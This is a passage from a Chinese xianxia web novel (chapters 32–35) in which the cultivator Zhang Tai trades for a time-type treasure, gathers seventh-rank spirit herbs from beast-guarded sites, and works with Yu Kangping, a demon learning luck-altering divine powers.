32. 交易
"回来了?这次外出收获很丰盛吧?"
一道清润嗓音传来。赵庭燎斜倚在藤编躺椅上,旁边就是石桌,石桌上摆着棋盘,他指尖还夹着一枚白玉棋子,衣袂间隐约有灵材印的阵纹流动,显然方才是在自弈。
见她进门,他眸光微动,慢悠悠地搁下棋子,唇角噙着笑,目光灼灼地望过来,似乎下一秒就要起身迎她。
张苔忍不住扶额,又是如此,每次如此。
无论她外出还是归来,总是能碰上这厮,每次她离开,背后那道灼热的视线无法忽视,每次她归来,总要欢欣郑重迎接。
偏偏这人还生了副祸水般的皮相,眉目如画,眼波含情,一颦一笑都勾人心魄。她虽自诩不是为美色所惑之人,可每每对上他那双含笑的眼睛,仍觉心跳微乱,难以招架。
可能人对一切美好美丽的存在,都是更为宽容,关于他之前算计自己独吞院落潜藏修炼资源一事,其实她的情绪已经很淡了,如此疏远只是戒备对方,担忧对方谋财害命。
她反正宁肯自己有着被害妄想症,也要死守着防人之心不可无的理念。
但始终这么疏远着不行,万一对方真有这心思,久久不得手,逼急了也不知道会不会做出什么。
不如先看看对方会如何作为,她再见招拆招,反正外界的时间已然过去半年,孙家若有追杀,其力度也小了很多,与眼前人周旋若有性命之危,她也可以跑路。
张苔定了定神,刻意让眉宇间染上几分倦怠,将满身低阶灵材往地上一放。
“收获就那样吧,尽是些一二阶的最低阶灵植。”
她无奈地叹口气,“我倒是想找些更高阶的,但越是高阶的灵材越稀少,我也不知道在哪里可以碰到,更不敢胡乱的横冲直撞,毕竟六阶以上的灵植撞上它的守护兽,有可能我逃命都逃不走。”
赵庭燎闻言,唇边缓缓漾开一抹清浅的笑意,那双含情的桃花眼微弯,“哦?那还真是巧了。”他仿佛随意地换了个更省力的坐姿。
“我这里,恰好有一份元黄大陆西北域的较为详尽的灵兽灵植分布舆图,地貌灵植、凶兽巢穴,皆在其上。更有一份灵兽妖兽图谱,其特点攻击手段都有记录。
两相结合,以张道友的能耐,获取高阶灵植,想来不再是难事。”
这话让张苔尤为意动。
与求学时所教灵植只到六阶一样,关于灵兽妖兽,大部分仙城和镇上,也只传授到中低阶的五阶。
不得不说,有些知识和信息是具有垄断性的。
六阶及以上的记录比较全面的灵植灵兽妖兽,涵盖它们的画像、识别特征、功效、攻击手段等等,这些只存在于修仙世家的藏书阁或者大宗大派的功法峰,前者需要出身,后者需要一笔不小的宗门贡献点。
张苔先前作为普通修士,也很难遇到珍贵灵材,妖兽更是只在西北域,高阶灵兽在中州碰到的概率也就比拥有元婴及以上实力的魔将以上高等魔物大一点。
出于性价比考量,她也就没有用自身辛苦赚到的资源,来交换掌握这部分知识。
赵庭燎又是个半点不吃亏的,上次拿走对方所说的《西北灵植图谱》,结果只有个序章,后边全是空白,当时她就意识到了,如若不答应对方的要求,她是别想得到半点她意动的。
哪怕答应,也绝对要用上约束力强的措施,比如契约玉简之类的,且其中内容要细看,免得最终落入给对方做白工的境地。
看着赵庭燎取出放在手边的两册厚厚玉简,张苔犹疑一会儿,终是出声询问,“你想要什么?”
见到张苔这番反映,赵庭燎笑意更深,喉间滚动刚欲说什么,又倏然侧身用宽大袖袍遮掩着轻咳两声。
旋即若无其事重新看回来,摆手道,“想要什么谈不上。”
“只是我这里有一桩交易,想与你谈谈。”
他垂下眼帘,指节轻叩棋盘,声音微哑着不紧不慢道,“这院中的玄妙,想必张道友已然有所体会,此地三十日,外界仅一天。
倘若张道友在离开前,能集齐五百株疗伤或固本培元类,至少为七阶的灵植,造成院中玄妙的时间类法宝,我便用于来与张道友交换五百株灵植。
至于这西北域灵植灵兽的地图分布和兽类图鉴,就当做这场交易的赠品了。”
张苔沉默。
好一会儿,她才道,“我知道时间类法宝极其稀罕昂贵,客观来讲,这场交易从条件上来看是我赚了,但,七阶对我来说,难度实在是太大了,更何况是五百株。”
七阶灵植周围一般有着六阶巅峰甚至七阶的灵兽或者妖兽守着。
六阶巅峰灵兽妖兽的实力类似于修士的元婴巅峰境界,半只脚迈入出窍修为,这已经不仅仅是跨了一个大境界了。
赵庭燎沉吟:“那你身上的六阶溟隐敛息草怎么得来?”
“灵兽妖兽盯着成熟的灵植无非想要借助其精纯磅礴的灵力增益自身,溟隐敛息草灵力精纯度甚至比一些疗伤类灵植都要高,又因其隐蔽性,能够识别出来的守护兽实力没有少于六阶的。”
闻言张苔一惊。
这个笑里藏刀的老阴贼,使了什么见不得光的手段,竟连她外出收获了些什么都了解得这么清楚?
张苔的表情太过明显,赵庭燎扫一眼就知道她在想什么。
为此,他不得不继续忍着不适耐下性子解释,“那天你从外回来,我没有察觉,直到你走到我跟前才知晓。细看认出了你身上溟隐敛息草的汁液与草屑。”
张苔这才神色好看了些,将当初与岩壳蛛碰上,以及在其巢穴中的经历给说了。
并补充道,“就算是有六阶灵兽守护,能跟六阶巅峰乃至七阶相比吗?普通的六阶灵兽妖兽,我偷了抢了之后可以跑,而六阶巅峰及以上,在对方超过一个大境界的威压下,我都迈不动脚。”
然而赵庭燎并没有放宽条件,“你能采集多少是多少,就算低于500株,我这里也有别的高阶阵器丹药等可以与你进行交换,只是关于时间类法宝,500株七阶疗伤类或者固本培元类灵植的条件不会降。”
对于这个结果,张苔并不意外,不管对方是真心还是假意做这笔买
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卖,交换价再往下降,实在是太过拉胯时间类法宝的价值。
500株7阶药用固本培元类灵植在市场上一次性凑齐很难,但500株6阶耗时长一些集齐却没什么难度,简而言之,两者不是一个价位档次。
换她,若是500株六阶药用固本培元类灵植,她也宁肯拖着这副病躯,等回到中州,花大笔灵石或者别的什么来获得,时间类法宝这种大有所用的罕见修炼资源自己留着。
其实她主要忧心,看不懂对方提这场交易背后的目的是什么,至少目前来看,对方的交易动机合理,交易内容也很正常。
答应了也不知道是否就开始迈入了对方的圈套。
张苔还犹豫着,赵庭燎已经拿出了契约玉简开始在其上书写。
凑近了去看,就是先前说好的交易内容。
“《灵植换宝契》
今有修士赵庭燎与张苔立此契书:
一、法宝予受
赵庭燎以法宝一件易张苔所采灵植。此法宝乃时间类异宝,院内三十日,外界方一日。
二、灵植条件
1.须疗伤培元之类
2.品阶不得低于七阶
3.总数五百株为满
三、辅赠之物
赠《西北灵物地图志》《元黄大陆兽类谱》各一册,助采撷之事。即使最终交易不成,不因赠品进行追索。
四、期限约束
待张苔离院之日,即行交割。
立契神魂印记处
赵庭燎
张苔”
写完后,赵庭燎利落留下神魂印记,“如果你觉得没问题,便以此契约玉简为担保,如果没集齐500株,到时候的交易,再看具体情况立契约。”
张苔仔细看了看此契约玉简。
与市面上流通售卖的契约玉简、誓约玉简没太大不同,其中暗含化神大能尊者的违约魂咒,当签下契约/誓约者未履行所写内容,违约咒会侵入神魂,今后十年内因魂咒带来的头疼仿若附骨之蛆般时不时复现。
就是制式以及尊者名号不是她熟悉的那款。
市面上售卖最多最保险的契约誓约玉简还是来自那些世家,他们能请自家老祖或者有途径联系愿意进行契约誓约玉简交易的化神尊者,来给空白玉简留下违约魂咒。
不过这玉简中的魂咒是货真价实的,那两册辅赠之物不要白不要,也就没纠结那么多。
心中已经偏向签订契约,但张苔还是先开口试探了下,“算了,危险性还是太强,我的性命更为重要,经不起任何冒险,我还是选择拒绝。”
赵庭燎神情中浮现一丝失望,“好的。”
然后双手握起石桌上的玉简准备收到储物法器。
张苔出声制止,“诶诶诶,真就算了?”
慢吞吞掀起眼皮看了张苔一眼,赵庭燎道,“交易本来就是你情我愿的事情,你不同意,我还能强按着你的脑袋签下?”
张苔心知,哪怕对方有异心,眼下她看不出什么,也不再试探做无用功,“行,这场交易我同意了。”
33. 枯潭
晨雾未散,张苔出了山洞,站在凶兽不怎么出没的山坡上,低头看着从《西北灵物地图志》中抽出的一块地图。
其上[枯骨潭]被她标了红,是昨晚精心选出来的目的地,此地周围盛产七阶[阴髓草],疗伤类灵材,对经脉修复大有所用。
在院中研读完两册玉简后,她先粗略划了一百处合适的区域,等正式出门采集后再根据情况挑选。
过去一个月里,她专挑有着低阶天敌克制、自己的属性或者功法恰好能够克制、地势能够利用等等的“软柿子”捏。
比如浑身染火的七阶赤焰狂狮,其身上以及喷吐的烈焰可熔金断玉,被她用在高温下会通过汲取高温疯狂迅速繁殖的二阶熔炉虱赶跑,成功收获四株七阶具有祛毒活血行气功效的[烈阳金盏]。
眼下她收集的七阶灵植已达四十一株。
这次选择[枯骨潭]的[阴髓草],一是她身具木土灵根,土克水,且此地水土丰沛致使催生出旺盛木气,利于她挣脱境界压制的威压、施展术法;二是[阴髓草]的守护灵兽水阴甲鳄虽凶悍,但灵智较低,且依赖潭水环境,若离水其战力大减,逃跑起来也顺利。
根据地图行进一段路途后,她小心翼翼地掩藏好自己的气息,彻底走出这座矮峰,进入了七阶妖兽苍臾墨熊的地界。
妖兽一般都开了灵智,通人性,被逮住了就只能成为祂们的口粮,故而这一片很多自己能够解决的四五阶灵植旁的一些中低阶灵兽妖兽她都没管,免得引发太大动静。
枯骨潭就在这片地界的东北角,鉴于靠近枯骨潭就容易被潭中水阴甲鳄拖入啃食,聪明些的妖兽都不会到此处来饮水,环绕枯骨潭很是空荡寂寥。
即将临近潭边,张苔掐了个“木息诀”,让自己的气息和绕潭生长的繁茂普通植物无二。
站在潮湿的泥土上,拨开一丛灌木,张苔来到了枯骨潭的边缘,更看到了不远处水面漂浮的腐叶间,三株暗紫色灵草正随着水波轻轻摇曳。
这正是阴髓草,但不清楚水深多少,且其下可能有六阶巅峰的水阴甲鳄潜伏。
张苔从储物法器中拿出一块洒了精品诱兽粉的三阶灵兽血肉,朝潭中央方向抛掷。
兽肉划出一道弧线,扑通落入距离阴髓草足有几十丈远的水中。
水面荡开涟漪,随即恢复平静。五息...十息...一道黑影突然从水下窜出,精准地咬住兽肉。
张苔还在等,她知晓,价值五百块下品灵石的精品诱兽粉,效用远不仅于此。
果然,不久之后,潭中水流不再平静,一只、两只、三只……越来越多的水阴甲鳄群纷纷从潜伏状态脱离,疯狂扑向那只吞下诱兽粉血肉的同类。
是的,只要诱兽粉触及血肉,无论它在哪里,都会持续发挥吸引其他兽类的作用。
水花四溅间,水阴甲鳄样貌如兽类谱中所刻画——五丈长的身躯覆盖着青黑色鳞甲,吻部布满倒刺,浑浊的黄色眼珠里只有原始的凶光。
即便面对同类也毫不留情。锋利的鳄齿撕咬鳞甲,粗壮的尾巴抽击水面,激起数丈高的浪花。鲜血很快染红了一片水域,而混乱仍在加剧。
这种牲畜攻击凶悍、防御拉满、反应和速度还不满,且本身还会毒,简直和六边形战士没差,若不是阴髓草必生于枯骨潭的边缘,数目不少,易采集可以拿了就跑,她也实在不想走这一趟。
现下估计绝大部分水阴甲鳄都被吸引到临近潭水中央那块自相残杀,是出手的好时机。
法剑已然升空平稳,张苔施展轻身术,脚尖一点,现身在阴髓草正上方法剑之上。
掌心飞出几根粗藤,轻巧入水蔓延缠绕上根系一拽,三株阴髓草得手。
张苔正要施展身法迅速回到潭岸边,变故陡生,几支锋利的水箭穿透水面从四面八方直指她而来,身体已然下意识一个后空翻。
半空之中,她清晰感知到几支水箭在她原本站立的位置相撞,激起一片水雾。
这变故却只是一个开始,还没等她平稳站在潭面半空上唯一落点,她的法剑上,猛烈的威压兜头而下,她一个趔趄,朝潭面跌落。
下坠之时,她清晰看到下方,比先前那些水阴甲鳄体型更壮硕,鳞色更深,长着血盆大口,眼神清明凶戾紧盯着她的一只水阴甲鳄。
是鳄王!
西北域有不少地界都有枯骨潭,潭中潜伏着成群的水阴甲鳄,鳄群中出现灵智稍高,实力最强,而统领鳄群的鳄王的概率还是比较小的!
只是没想到她运气这么背,还真遇上了!
不过她也事先考虑到这种情况。
环境中旺盛的木气,在她周身缭绕,助她冲破境界压制,灵力得以重新运转。
法诀在心中飞快掠过,岸边一根粗壮的大树突兀显现横亘在张苔与鳄王之间,张苔聚力往此树干上重重一拍,借着反冲力道,重新腾空,同时召唤法剑,复又回归潭面高空之上,是水阴甲鳄冲出水面跃不到的距离。
也就是她回归高空的下一瞬,耳边就传来咔嚓声响。
神识一探,原是那鳄王直接将粗壮的树木咬了个粉碎。
到嘴的鸭子飞了,可以想象鳄王的愤怒,张苔不敢耽搁,促使法剑飞快往岸边飞行。
她顺利飞出远离枯骨潭,其下都是泥地、灌丛、树木,往下降落之际,张苔迟疑一下,放缓速度。
实在是逃离的过程平静到出乎意料,没半点鳄王的反扑,倒是让她觉得出了问题。
忆及等待诱兽粉发挥作用之时,她往潭底灌输灵力,与其土系元素建立关联。
如若她还在枯骨潭的潭面上,引动正下方的潭底泥土,就一定会产生反响。
刹那间,远处蓦地传来沉闷轰鸣,那是她引爆潭底炸开的泥浆!
冷汗瞬间浸透后背,“起!”张苔闭眼疯狂催动灵力,赌一把的心态,逆着感觉来操纵法剑。
法剑落势骤停,险之又险地拔高几丈。
耳边似乎捕捉到某种兽类咬空的巨颌发出令人牙酸的碰撞声,什么落入水中的哗啦声,遥远得仿若是幻觉。
但张苔知道,这是真实的,自己从未抵达过枯骨潭岸边,先前的降落点等待她的,恐怕是鳄王。
当鳄王听到潭底炸开的动静,也知道自己察觉了不对,不再等待她自投罗网,而是跃出水面朝她咬来。
她现在就连升空都不敢,只激活了一件防御宝器,但张苔知道,在鳄王境界压制的水箭攻势下,这件低品质的法器,撑不了多久。
根据兽类谱上的介绍,张苔知道自己这是不慎中毒了,中毒的时机恐怕是吸入了水雾。
也是犯了生搬硬套、拘泥教条的错误。
她通过兽类谱知道水阴甲鳄会毒,往往通过张嘴喷吐大量毒雾。
需警惕这种毒雾,会错乱扭曲修士的空间认知,引发错误的空间幻觉。
但没料到,对方喷射的水箭之中也可含毒,也就没有屏息。
目前她对方位和空间的感知相比事实,很可能是错的,她究竟要如何才能回到岸边?
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她思考的时间不多,防御罩一旦破损,境界差距加上错误感知的双重劣势,等待她的结局,只有一个——沦为鳄王的盘中餐。
她绞尽脑汁想着应对办法,冷汗一滴一滴从额间落下,然而时间一分一秒过去,无数的方案形成,又接连被否决。
终于,与法器连接的感应断开,“砰”张苔从左侧听到一生令人绝望的脆响。
神识的警鸣拉响,身上汗毛直竖。
她知晓是危险在靠近,但她不知道如何躲,往哪个方向躲,又是否在羊入虎口。
就在她心如死灰,坐等死亡之际,储物法器震动,刻着狰狞魔首的通体黑红棺椁闪现在眼前,其上缠绕着的铁链如同活物般舒展开,一部分带着尖锐的气流鞭扫往一个方向,另一部分迅速缠绕上她腰间。
随即就是一阵天旋地转,张苔感知到自己被甩了出去。
力道之大,勒得她脏器都在隐隐作痛,她赶紧在身上凝聚出厚厚的土甲。
几乎是土甲刚成形的那一瞬,砰一声,背后的巨力传来,直让她眼冒金星。
但与大地这种切实的接触,也让她彻底确认,她,活下来了。
*
“神器就是不一般哈,都能主动护主了。”
坐在枯骨潭远岸灌木丛中,张苔与已经回归的棺椁神器沟通着。
期间水阴甲鳄王是带着一众小弟上过岸对她追杀,但远离水中的水阴甲鳄实力大减,虽然她目前方位认知混乱,但她的神器没有啊。
神器指哪她打哪,她的土系术法也较为克制水阴甲鳄,而且神器自身还可以主动进攻,水阴甲鳄们没讨着好,又回归枯骨潭了。
感受到与神器连接中对方传来的又高兴又傲娇的情绪,张苔不吝啬地又大夸特夸了几句,最后承诺道,“为报答你的救命之恩,你放心,之后我绝对将你出售给一个资质极其优秀的正派之人,不会让你跟着我被埋没了。”
闻言神器传来的情绪有些一言难尽的复杂,具体她也搞不懂,可能这就是跨物种的交流障碍吧。
不过她真没想到,生死时刻,这家伙会主动护主。
她知道这神棺认她为主是被迫也看不上她,还以为它巴不得自己死在这里,换一届更优秀的持有者。
由于水阴甲鳄的毒素起码得有两三个时辰才会消散,在危险的大妖地界,不能正确辨明方位,张苔也不敢乱走,感激也是真感激,于是跟神器[阳煞驭魔柩]交谈了起来。
说着话,她倏地感觉灌木有晃动,不是环境因素比如风这种导致的。
她警觉了些,“棺棺啊,你有没有察觉到是否有危险靠近。”
[阳煞驭魔柩]闻言却突然消失在她眼前,进入了储物法器,张苔正疑惑奇怪着,就感知到缩小版棺椁闪现到了储物法器的宝器吊坠附近。
这是一个追踪法器,她还有另一只,只唯一给过一个对象,
她明白了神棺的意思,但还是得确认一下。
于是刻意进行感知,追踪法器显示追踪目标离她的距离确实很近,现在又逐渐远去。
不懂禹康平到底在搞什么。
她是知道对方在西北域的,所以一来到这里不久,就感应过追踪法器位置,西北域很大,对方距离她照旧还是很遥远,她就没管过了。
现在对方却跨越如此遥远的距离,出现在她附近,也是很奇怪,是自己在他身上留了追踪法器,他又没做什么,照理对方是不知道她的位置的。
等她关于空间方位的认知恢复之后再去找这人。
34. 神通
烈日当空,荒野空寂。
一道黑雾如泼墨般横贯天际,在湛蓝的天空中撕开一道幽黑的裂痕,又很快隐去。
它不像修士御剑那般凌厉迅捷,亦不似妖禽振翅呼啸生风,而是以一种独特的方式蔓延扩散着。
这片黑雾正是禹康平,因为先前为了加快赶路进程,祂没用魔物这种实打实需要将路途一一经过的方式,而是将身体交给了异魂,那异魂不知用了什么精妙术法,大量灵力消耗,让祂连人的形态都无法维持。
魔物不能像修士那样可以主动往天地之中吸纳灵力进行补充,故而祂想要恢复人形,只能被动等待灵力慢慢一点点渗入。
致使目前情况的原因,祂想祂大概有资格知晓。
于是黑雾形态的祂在内心呼喊道,“异魂,你醒了没有?”
接近八个月的时间,禹康平也弄清楚自己当初莫名其妙产生的变化,是觉醒神通,也是多出另一道意识。
鉴于祂不曾捡到什么绝世法器,不存在大能神魂寄于神器之说,所以此异魂,只能是莫名其妙出现在他自己体内。
异魂出现的日子,祂完全没觉察到有谁进入或侵染祂的神魂,而祂是一只魔物,也不应该被夺舍等。
在不断的沟通与试探中,关于来历,对方只透露了一点,“我既来自于你的过去,也包含你的未来。”
他嘲讽这个异魂故弄玄虚,对方也不恼怒,反而平静坦诚道,“气运占卜,窥天机,改命运,本就是一件玄之又玄到有些虚无缥缈的事。”
“我能说的只有这么多,这是限制,否则我就要遭到反噬。”
“不过你想清楚更多,行动起来,你可以自己去探寻。”
说到这里,祂就难免颓丧,“我只是一个引气入体不久就沦为魔物的家伙,实力太过弱小,魔物若想强大又只能进行吞元,这与我的本心相悖。”
“就算我想,又如何行动?大部分魔物和修士,都可以杀了我。”
异魂:“我理解,你的经历便是我的经历,在西北域的荒凉地带苟延残喘已经是多番考虑之后的最佳选择。”
“但现在你人生的情境已经发生了变化,我出现了,且气运平衡神通降临在你身上,还去首任战神的抗魔秘境走了一遭,带出了一件气运类神器。”
“若是寻常像修士或者魔物的修炼方式,确实走不通,但是气运神通的修行,不需要灵力或者经由吞元修士后由灵力转化的魔力。”
之后的日子里,祂就开始在异魂的教授下学习修行神通。
尽管心底关于异魂还是有些疑虑,可事情不会比之前更糟糕了。
至少这是一个转机,如果还让祂像之前那样浑浑噩噩地了却残生,到底还是有些不甘心。
不得不说,气运平衡神通就是稀奇古怪的。
异魂先是让祂出来占据身子,锻造了一个青铜罗盘,对方说这是神器运衡仪的复刻版,让祂尽快强大起来,去一个地方,将气运神通的传承以及原版神器[运衡仪]拿到。
然后祂就按照异魂所教授的法子,将山寨版运衡仪摆在膝上,开始入定修行。
尝试了好几次,好几个白天夜晚,什么都没有感受到。
直至一次黄昏,几日不眠不休导致的疲惫如潮水涌来,祂视线模糊着向前栽去,却没有预想的疼痛,耳边传来哗啦声,祂感觉浑身潮湿清凉恍若坠入水中。
某种无形的浮力托着他缓缓下沉,耳边响起潺潺水声。当他挣扎着想要睁眼时,却发现眼皮早已不存在——他正以某种超越□□的形态存在着,而无数光丝在祂身旁划过。
场景蔚为壮观,密密麻麻的光丝,不仅每条光丝之间粗细不同,同一条光丝,某一段还粗如儿臂金光璀璨,下一段就变得细若蛛丝黯淡欲断。
大多数光丝就麻绳粗细,且同根变动幅度不大。
还有一种现象,祂看到了有些光丝居然在流淌过程中交汇,形成一条河流主干,不久之后,主干又开始有无数细小支流分叉。
祂刚想伸手触碰一条金丝,却发现手臂无法驱使,之后便清醒过来。
异魂告诉祂,祂这是看到了气运之河,好比修士的引气入体,算是气运神通的正式入门。
每一条光丝就是每一个生灵的气运,汇成河流,代表的则是一个群体的气运。
正式入门之后,关于气运神通,祂有了一定的理解。
但难免还是有些失落,“这是强大的辅助神通,上限很高,但制敌能力委实不强,若是遇到强大的敌人要杀我,又该怎么办?”
异魂;“制敌能力是不强,但应急抵御能力还是有的。”
“目前你刚入门,尚在观运者起步的境界,待修习至拨弦人,你看得到对方的气运光丝,使用[逆弦卸运],直接将对方所有的气运光丝全往后拨,直至此时对方气运几近为零,对方出手便会屡次失误,甚至误伤己身,神通境界越高,使用[逆弦卸运]的间隔时间越短。”
“如果非要杀敌,也有一招,你看到气运之河中那些在你眼前断掉的光丝,证明着此人已逝世,气运自然不复存在,有一招[绝线断魂],将其反过来,断掉对方的光丝运线,对方因再无气运暴毙而亡。
这招当然也有使用限制,一是要必须在动手杀你时,这一点对你来说好好操作一番达到不是难事;二是使用次数,我当初一月最多只能用三次,否则再强行使用会遭到反噬;三是一些命格极硬之人,[绝线断魂]使用后,你会有一段虚弱期。”
“如果你不满意,至少修炼到拨弦人,外出有自保之力,而关于御敌制敌,世间万法,在未来你总能找到合适的方式。”
祂也只能这么想。
入门之后,便是不断地去细看一切存在的气运,以及去凝结运线。
西北域多的是兽类,祂也是从普通的禽类开始观测,之后再是低阶的灵兽、妖兽。
半年时间,祂便成功进阶至拨弦人,可在任何生灵的自身微调短期内的气运,三日可一次。
比如祂曾将一只二阶灵兽运线归拢到一日特别粗,后续十日一直薄如蝉丝,当日那只二阶灵兽就误路过两只五阶妖兽打斗地方,其中战败的五阶妖兽内丹被剖,战胜的那只没拿稳。
灵兽妖兽抵达五阶便可凝结内丹,是一身修炼的精华所在。
那只二阶灵兽叼着内丹就跑了,并在那日吞了五阶妖兽内丹成功抵达五阶。
然而后续接连十日,此灵兽倒霉至极,不是差点被发狂的剧毒类的兽类咬,就是遭遇一些池鱼之殃,后续半夜祂的兽类伴侣更是想趁祂熟睡也剖出祂的内丹,不过这十日祂撑过去后,运线开始逐渐恢复寻常粗细。
其余祂还试验了一些,也有灵兽,在运线薄的那十日没有撑过去而死亡线断。
本来今日祂正要去一次巡视那三只被自己改过运线的灵兽情况,一直比较安静的异魂,突兀借身体一用。
然后便是一个传送,将身体换回来之后,便是给自己指了个位置,让自己赶过去救人。
抵达地点后,祂又看到了之前在抗魔秘境合作过的张苔。
瞧着模样挺狼狈应该是刚脱险,不过施展神通观运,发现对方的运线并未有过要断的迹象,反而后续祂能够看到的时间里,都算是比寻常修士要粗上一些。
不过气运与生死之间,除了死亡会导致运线截断,其余没必然联系。
虽然通常来讲,运线太厚的人哪怕重伤被迫跳崖都难丧命,反而得到机缘,运线太薄则容易招致死亡。
呼喊了半天,异魂终于有了回应。
“对不住,通常情况下,我不允许动用太多能力,她这边...情况怎么样?我算到她这边,可能需要你?”
禹康平将张苔这边的情形讲述了,不知是不是错觉,祂感觉到异魂貌似松了一口气?
原本的疑问脱口换了一种询问方式,“你心悦于张苔?”
异魂沉默了一瞬,没有正面回答,只是道,“人魔殊途。”
禹康平对于这些也没有什么强烈的探究欲望,几十年的孤苦寂寥生活,将祂的心性情感欲望几近磨灭。
但祂的理解能力还是有的,对方算是变相承认了。
“所以你急急忙忙让我赶过来是为了救你的心上人,与我的
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关系不大?”
异魂:“你的直白让我有些赧然,不过我不认为与你完全没有关系,我记得曾和你说过,如果你想要弄清楚我为何会突然出现在你身上,以及一些更加宏大的事情,或许你能够从她或者郑尔雅那边找到答案。”
*
张苔这边,几个时辰过去,水阴甲鳄毒素褪却,关于空间方位的认知不再混乱。
她感知着追踪法器,往禹康平的位置追去。
先前在原地等待,不曾遇到禹康平的时间里,她关于采集七阶灵植一事,是坚定地准备放弃了。
时间类法宝虽是珍贵罕有,但能够投机取巧采集而她脚力可及的,已然差不多都给采了,剩下的哪怕是今日遇见的水阴甲鳄的水平,都能让她白白葬送性命。
不过在看到禹康平之后,她的心思又活络起来。
抗魔秘境中,此人的运气有些邪乎,不知道能否作用在自己身上。
倘若可以,去采集一些六阶巅峰守护兽旁的七阶灵植,保不准性命之忧就解决了。
循着法器指引,张苔很快就赶到了禹康平所在位置。
身法稳住身形时,她看到了一幅奇异景象。
一片黑雾正在缓慢凝聚成人形,先是勾勒出修长的骨架轮廓,继而如同水墨晕染般逐渐凝实。最先显现的是一双骨节分明的手,匀称白皙的指间还缠绕几缕未散尽的黑雾。
对方身量很高,却丝毫不显魁梧,反倒有种竹节般的清瘦挺拔。他披着一件洗得发白的靛青色长衫,衣袂在荒原的风中翻飞时,给人一种遗世独立的飘然感。
张苔片刻后才回神,在心底感慨,之前在抗魔秘境中光顾着应对危机,没注意到这位长得还挺俊俏的。
这边禹康平也注意到突然出现的张苔,询问道,“张道友一直跟着我,所为何事?”
异魂没再吭声,而张苔将自己最近的近况以及需求说了。
言语中尽显对所谓气运神通的误解以及铤而走险越阶采集的妄想。
禹康平正想将神通解释清楚并婉言拒绝,异魂打断道,“你先别一口否决,跟她告知你确实能在采集灵植上帮她掩藏,但神通使用也有限制,两天一次,且施术次日必遭霉运缠身。”
祂的神通限制明明是三天一次,且也不能使运气作用到具体事件。
不过祂也明白异魂不是信口开河之人,其后必有原因。
于是祂就照着对方的意思说了。
果然,在张苔兴奋激动外加感谢的言语中,异魂给了解释,“这是她的神通[念转乾坤]——心念所至,凿穿虚实,可篡现存之物,可覆既定之迹。但是你万万不能和她说,她目前还没到可以知晓此事的那个阶段,一旦让她察觉,她的神通再无法动用是小,遭到反噬才是不堪设想。”
“你也可以提前感悟神通下一阶段“气运通幽”的玄妙,进而加速自身修行。”
禹康平面上不显,内心却惊诧道,“这神通未免也太过逆天,居然连过去已经发生过的事实都可以篡改?世间万事万物都讲究平衡,这种神通的出现,是否有违天道?”
异魂:“故而此神通生效的限制极多,时灵时不灵,反噬更是凶险万分。当人心执念与现世真相交织难分时,连施术者自己都会迷失——究竟何为真实?何为虚妄?”
“哪有神通不逆天的?包括我先前让你跟着的郑尔雅,她的[万象摹形]神通若修至极致,可将所见之人尽数复刻己身,从形貌到修为皆可模仿。然则...”
异魂冷笑一声,“若连神魂记忆都是从他人处窃来,这副皮囊之下的,究竟还算不算她本人?”
这个回复听得禹康平忧心忡忡。
神通之所以为神通,在于其违逆世间常理和自然法则,致使威能莫测,与之对应也会给身负神通者带来劫难。张苔的[念转乾坤]可能会混乱虚实,郑尔雅的[万象摹形]可能会吞噬本我,那祂的[气运平衡]就能幸免吗?
祂没有问,概因大几十年的与囚徒无异的生活平淡孤寂如死水,现下好不容易有了唯一的转机,无论修行神通到最后会带来什么后果,祂都不会放手。
35. 备兑
张苔后续七阶灵植的采集很是顺利。
本就有一册兽类谱在手,关于守护兽的特性能够全部摸清楚,可以有针对性地创造条件让她“偷”高阶灵植,而禹康平给她加诸于身的气运更是让一切更加顺利。
有地图在手,她也能绕道从不进入有着格外强大的妖兽灵兽领地。
但总有阴沟里翻船的时候,约莫在采集数量到一百三十二的时候,又一次采集,守护兽稍早一些发现了遗失的部分守护灵植。
顿时威压如泰山压顶般下来,隐匿术直接失效,她更是委顿于地,别说跑,连指尖都动弹不得。
好在禹康平成为魔物不受灵兽妖兽境界威压影响,能够搭把手带着她逃命。
也是在那次之后,禹康平后来居然拿她的空白玉简给她刻录了一卷抵御境界压制的功法,《扛势淬身经》,还是天阶的。
她当时那叫一个震惊啊。
“你魔化前出自哪个世家?而且有这功法,你怎么不早拿出来?”
功法等阶由低到高分别是黄、玄、地、天。
要知道,她浑身上下所修炼的所有功法,最高阶的还是仙门官府免费提供的进阶功法,玄阶。
其他一些身法、步法、单独的木系术法、土系术法,基本上都是黄阶。
禹康平摇头,“我出身平凡,也不知晓你需要这卷功法,准确来说,这卷功法是我身体内寄居的那个年迈异魂给你的。”
对方还很诧异张苔没有抵挡威压的功法,且现在还在脑海中纠正张苔的说辞,说将她本来的东西重新教还给她不是给。
张苔:?!
“你还有多少惊喜是我不知道的?!”
“最近我的身边怎么总出现一些怪人?我先前跟你提过的,那个说要用时间类法宝来跟我换五百株七阶灵植的,也是个怪人,就跟你一样随意能拿出西北域的灵植兽类分布图,且此图最新绘制日期在三年前。
以及那浑身的伤势也十分古怪,满院子的四五阶愈伤类灵植,他种上收割几茬了,用掉之后也看不到半点好转。”
禹康平没回复,张苔也就随意一说,毕竟之后一天半都会比较倒霉,她准备老老实实龟缩在安全的山洞里度过。
连最新的功法也不敢修炼,怕运气糟糕到走火入魔。
禹康平虽没回复,但也听着,并询问异魂,“这个赵庭燎,也是类似我、张苔、郑尔雅三人吗?”
“不是。”异魂回答地又快又笃定,还貌似知晓此人,“以这人的身份还会干出这等疑似要杀人夺宝的行径,我听闻时还颇惊讶。”
张苔的观点和异魂高度相似,她亦认为赵庭燎意图害命谋财。
对于无法琢磨清楚的恶意,她向来是按照最极限的恶意揣度。
只是对方在杀她之前,用时间类法宝引诱她尽可能多的采集高阶灵植
放任她先在这一片区域多采集高阶灵植,反正最后都会归于他,所以契约玉简上的赠品才会给的这么干脆。
越往这个方向想她越觉得合理,于是她赶紧给郑尔雅发了一份传讯符,又买来一趟‘尺素金鲤’赶往。
尺素往往代指书信,而‘尺素金鲤’则是一种经过多年选育豢养后的灵兽,可以进行远程传送小型物件或机密卷宗。
毕竟是经过修士进行一代一代引导筛选驯化的,金鲤尺素不仅速度远远快于信鸽,保密性也极强。
机密文件被它吞于腹内,只有到传送人指定的对象面前才会吐出。
而其余时刻就算它被强行捉住,开膛破肚,其血液具有强烈腐蚀性,自动将纸张玉简等销毁。
唯一不好的一点就是特别昂贵,使用一次就是两万块下品灵石。
各仙城的坊市都设有金鲤驿,只要拥有任何一家金鲤驿的传讯符,便可“符订”,只是她身在西北域这距离实在遥远且她不能在近期马上赶往金鲤驿支付,又额外多出五百下品灵石的费用。
